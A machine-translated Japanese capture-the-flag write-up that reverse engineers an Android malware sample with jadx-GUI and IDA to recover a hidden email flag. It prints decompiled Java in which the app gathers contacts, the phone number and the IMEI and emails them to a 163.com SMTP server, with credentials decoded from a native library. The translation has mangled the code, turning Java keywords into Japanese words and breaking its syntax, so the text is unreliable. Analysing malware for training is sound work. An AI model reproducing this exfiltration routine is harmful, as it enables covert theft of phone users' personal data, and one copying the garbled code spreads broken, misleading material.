テストファイル:https://www.lanzous.com/iaoj7qb
トレーサビリティ
jadx-GUIが開いて使用した後であって、メール検索コード
明らかに、このsendMailByJavaMail機能はキー機能する必要があります。場所を探します
公共の 静的な int型sendMailByJavaMail(文字列MAILTO、文字列のタイトル、文字列のMAILMSG){ 場合(!デバッグ){ メールメートル = 新しい;メール(C0005C2.MAILUSER、C0005C2.MAILPASS) m.set_host(C0005C2.MAILHOST)。 m.set_port(C0005C2.PORT)。 m.set_debuggable(真の); m.set_to(新しい文字列[] {}のmailto)。 m.set_from(C0005C2.MAILFROME)。 m.set_subject(タイトル)。 m.setBody(MAILMSG)。 してみてください{ 場合(m.send()){ Log.i(「IcetestActivityは」、「電子メールは正常に送信されました。」); } 他{ Log.i( "IcetestActivity"、 "電子メールが失敗した送信されました。" )。 } } キャッチ(例外e){ Log.e( "MailApp"、 "電子メールを送信できませんでした" 、E)。 } } リターン 1 。 }
mailtoのパラメータに関数、これはmailtoの私たちが見つける必要がある必要があります。
私たちは、どのようなこの機能のリファレンスを見て
パブリック クラス MailTaskは延び AsyncTask <整数、整数、文字列> { プライベート文字列のコンテンツを、 プライベートコンテキストコンテキスト。 公共 のボイドの実行(文字列のcontent2){ String型のノートブック = "" ; 用(文字列[]注:NoteBook.get(この.context、IMAPStore.RESPONSE)){ ノートブック = String.valueOf(ノートブック)+ノート[0] + ":" +ノート[1] + "\ R \ n"は; } 文字列TEL =((TelephonyManager)この .context.getSystemService( "電話" ))getLine1Number()。 もし(TEL == NULL || tel.equals( "" )){ TEL = C0001A2.getNoteBook(content2).phoneNumber。 } のSMS getBFlag = C0001A2.getNoteBook(content2)。 もし(!C0001A2.isEmpty(ノートPC)){ C0001A2.sendMailByJavaMail(C0005C2.MAILSERVER、 "通讯录(" + TEL + "IMEI" +((TelephonyManager)この .context.getSystemService( "電話"))。getDeviceId() + ")" 、ノートブック); } }
C0005C2.MAILSERVERは、私たちがオリジナルのソースを見つけ、電子メールを必要とするものです
パブリック クラスC0005C2 { パブリック 静的 最終列CANCELNUMBER = "%23%百分の2321 23" 。 パブリック 静的 最終列MAILFROME = Base64.decode(NativeMethod.m1m())。 公共の 静的な 最終文字列MAILHOST =「smtp.163.com」。 パブリック 静的 最終列MAILPASS = Base64.decode(NativeMethod.pwd())。 パブリック 静的 最終列メールサーバ= Base64.decode(NativeMethod.m1m())。 公共の 静的な 最終文字列MAILUSER =Base64.decode(NativeMethod.m1m())。 パブリック 静的 最終列MOVENUMBER = "** 21 * 121パーセント23" 。 公共の 静的な 最終文字列PORT =「25」; 公共の 静的な 最終文字列の日付=「2115年11月1日」。 パブリック 静的 最終列にphoneNumber = Base64.decode(NativeMethod.m2p())。
メールサーバファイルがそのように機能NativeMethod.m1m(によって返された外部荷重値)は、その後、BASE64を復号します。ただbase64で暗号化された文字列の後にファイルを見つける必要があり、我々はそう。
IDAオープン
IDAファイルはAPKファイルlibcore.so開かれた後、base64で暗号化された文字列は、Stringウィンドウで見つかりました。
復号化の後、第二のフラグであります
フラグを取得します!
flag{[email protected]}